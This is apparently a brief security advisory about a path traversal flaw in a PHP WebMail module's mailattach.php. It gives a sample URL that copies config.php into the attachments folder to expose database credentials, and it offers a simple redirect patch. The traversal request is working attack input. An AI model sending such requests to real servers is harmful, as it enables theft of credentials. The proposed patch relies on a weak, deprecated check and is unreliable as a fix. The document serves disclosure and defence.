Sample attack which allows an attacker to grab database password
and login.

http://target.server/modules/WebMail/mailattach.php?
userfile=../../config.php&userfile_name=../attachments/file.txt&
attachments=1

I wasn't able to provide this attack succssefully but there's easy way of
prevention - one can put those lines at the beginning of mailattach.php
file:

if (eregi("mailattach.php",$PHP_SELF)) {
    Header("Location: ../../index.php");
    die();
}
